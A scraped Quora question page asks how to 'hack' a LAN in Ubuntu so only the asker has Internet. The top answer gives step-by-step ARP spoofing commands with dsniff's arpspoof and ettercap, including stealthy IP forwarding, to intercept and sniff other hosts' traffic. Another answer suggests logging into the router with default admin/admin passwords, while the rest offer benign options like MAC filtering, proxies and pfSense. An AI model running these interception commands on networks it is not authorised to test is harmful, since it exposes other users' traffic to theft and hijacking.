Sie sind auf Seite 1von 3

18/1/2020 How do I hack my LAN network in Linux (Ubuntu) so that only I can use Internet through it?

- Quora
1
Home Answer Spaces Notifications Search Quora Add Question

Ubuntu (operating system) Linux Wi-Fi +4

How do I hack my LAN network in Linux (Ubuntu) so


that only I can use Internet through it?
Answer Follow · 15 Request 1 Related Questions

4 Answers
How can I hack any laptop connected to the same
wifi?
Jai Janyani, Internet Geek
Answered Feb 8, 2016 How can I hack a PC which is connected to the
same LAN?
There are two ways to perform ARP Spoofing
How do I hack into computers on a shared Wi-Fi
ARP Spoofing may allow an attacker to intercept data frames on a network, modify network?
the traffic, or Stop all traffic. Often the attack is used as an opening for other
attacks, such as Denial of Service, man in the middle, or session hijacking attacks How do I hack a computer on same network?

To start is to install the necessary program in  Ubuntu or any other Debian based How easy is it hack other computers on same
LAN? We have all computers in the Mfg, HR and
distribution which is in this case is dsniff package which contains the arpspoof
any other dept. on the same LAN?
program
Can I hack our college wifi network with Ubuntu?
1.) Dsniff
Ask Question · More Related Questions
Installing (ubuntu)

1 $ sudo apt-get install dsniff

Enable IP forwarding

To make sure the traffic is forwarded to the real destination as it reach our
machine, the following command need to be run. This will make sure the
connection of the target machine is not disconnected, and nobody should realize
what we’re doing.

1 $ sudo echo 1 > /proc/sys/net/ipv4/ip_forward

Run ARP spoofing

The following command will tell the gateway “I am 192.168.0.100”, and the next
command tells 192.168.0.100 “I am the gateway”

1 $ sudo arpspoof 192.168.0.100 -t 192.168.0.1


2 $ sudo arpspoof 192.168.0.1 -t 192.168.0.100

With this, all the traffic that’s supposed to go to the gateway from the machine,
and the other way around, will go through our machine first, and only then
forwarded to the real target. With this we can run any packet analysis tool such as
tcpdump or wireshark.

2.) Ettercap

There are programs however to make the whole process simpler. One of the
favored program for this is ettercap. Ettercap can perform arp spoofing as well,
among many other features that it has. In Ubuntu, the package is called ettercap-
gtk;

Installing (Ubuntu)

1 $ sudo apt-get install ettercap-gtk

Run ARP spoofing (GUI)

Running the program with the -G switch will run it in GTK rather than in ncurses.

1 $ sudo ettercap -G

1. At the menu, choose the following;


Because you may have been active from a region where some people speak Spanish
2. Sniff -> Unfied sniffing
Roberto, do you speak Spanish?
3. And at the prompt, choose the network interface to be used. Normally it
Join the Spanish community on Quora! Don't worry, English will remain your primary language,
andwould
you canbe eth0
easily switch between them.

4. Network Interface: eth0 No Yes


Upvote · 6 Share · 1

https://www.quora.com/How-do-I-hack-my-LAN-network-in-Linux-Ubuntu-so-that-only-I-can-use-Internet-through-it 1/3
18/1/2020 How do I hack my LAN network in Linux (Ubuntu) so that only I can use Internet through it? - Quora
5. At the menu again,
1 choose the following to add all hosts in the network to
Home Answer Spaces Notifications Search Quora Add Question
the list

6. Hosts -> Scan for hosts

7. And following the following will do the arp spoofing for everyone in the
network

8. Mitm -> Arp poisoning -> Ok

9. Start -> Start sniffing

Run ARP spoofing (command)

The following command will do the same thing as the above example, in one single
command;

sudo ettercap -q -T -M arp


12.2k views · View Upvoters · View Sharers

Add a comment... Recommended All

Roman Spiak, Bc. Bachelor of Technology in Information Technology &


Computer Networking, Technology (2009)
Answered Jan 2, 2018

I suppose you'd like to ask how do you setup your LAN network ao that only you
can use the internet through it. There's no need for hacking of any kind. You can
either setup a :

1. mac address filtering and allow only your mac address to have Internet
access. This is done via router configuration. The downside of this is
anyone who can obtain your mac address can spoof it to gain access

2. You can setup an Internet proxy service that requires password to allow
internet access.

Internet proxy can be a separate server or host on your LAN that has the internet
connection as the only host in the network...(more)

Upvote Share

Add a comment... Recommended All

Related Spaces (More Answers Below)

BLYAT! Shava Nerad: Jobs So...that happene


The space for idiocy Iconoclasm A group for people who are Keeping you updated o
Shava Nerad's blogging on interested in available jobs the weird, wacky, an
media, politics, policy, tech, interesting things goin
history, and miscellany

Follow 4.8k Follow 2.4k Follow 77 Follow 35.7

Discover More Spaces

Vishal Ranbhan, Masters in Telecom @UNSW


Answered Aug 29, 2014

When you say LAN network, I am assuming you are talking about your router.
Because you may have been active from a region where some people speak Spanish
Firstly, you need to be able to login to your router. In order to find the IP, you need
to do 'sudo ifconfig'
Roberto, do youonspeak
linux terminal,
Spanish? and then see the gateway IP of your LAN.
Also note down your 'MAC ID' (or HWAddr) which will be a 48 bit hex number in this
Join the Spanish community on Quora! Don't worry, English will remain your primary language,
format(
and you01-23-45-67-89-ab) Mostly
can easily switch between them.the IP address will be 192.168.0.1 or
192.168.1.1  Type the gateway IP address on the browser. Hope that it is still using
the Upvote
default· password
6 , which is admin / admin or admin/ passwordNo
Share · 1
for most Yes
of the
routers.
https://www.quora.com/How-do-I-hack-my-LAN-network-in-Linux-Ubuntu-so-that-only-I-can-use-Internet-through-it 2/3
18/1/2020 How do I hack my LAN network in Linux (Ubuntu) so that only I can use Internet through it? - Quora
1
Home Answer Spaces Notifications Search Quora Add Question
(If not, then you ca...(more)

Upvote Share

Add a comment... Recommended All

Related Questions

How can I hack any laptop connected to the same wifi?

How can I hack a PC which is connected to the same LAN?

How do I hack into computers on a shared Wi-Fi network?

Brian Brock
Answered Jan 17, 2018

Just another option - set up a pfSense device as your router (or right behind your
ISP’s router) and make a sign-in portal through it to access the internet. World's
Most Trusted Open Source Firewall (pfSense link there)

Probably overkill…unless your LAN network is in your workplace and you don’t
want/need your employees/customers getting on your network to get to the
internet. In that case it might make a lot of sense. You would be the only one who
would know the password to access the WAN, but you could still have a functioning
LAN to access shared files and printers, for example.

In that s...(more)

Upvote Share

Add a comment... Recommended All

3 Answers Collapsed (Why?)

Related Questions

How can I hack any laptop connected to the same wifi?

How can I hack a PC which is connected to the same LAN?

How do I hack into computers on a shared Wi-Fi network?

How do I hack a computer on same network?

How easy is it hack other computers on same LAN? We have all computers in the Mfg, HR
and any other dept. on the same LAN?

Can I hack our college wifi network with Ubuntu?

Can I hack an Android phone using Kali Linux if the said phone is on another WiFi
network than my PC but I have access to the other WiFi netwo...

What hack can I do if my friend and I are on the same WiFi network?

Is it true that someone can hack into your laptop if they are on the same WiFi
connection?

How can I hack into an iPhone over the same wifi?

Can a hacker control my computer through Wi-Fi connection only?

How do I hack and control any PC just by inserting a USB, and without executing any
programs from it?

How can I hack a laptop?

How easy is it for my hacker-level roommate to get into my computer and personal
Because you may have been active from a region where some people speak Spanish
online accounts if I connect to his wifi network?
Roberto, do you speak Spanish?
What is the fastest way to access files from another computer if they are connected on
Join the Spanish community on Quora! Don't worry, English will remain your primary language,
the same router?
and you can easily switch between them.

No Yes
Upvote · 6 Share · 1

https://www.quora.com/How-do-I-hack-my-LAN-network-in-Linux-Ubuntu-so-that-only-I-can-use-Internet-through-it 3/3

Das könnte Ihnen auch gefallen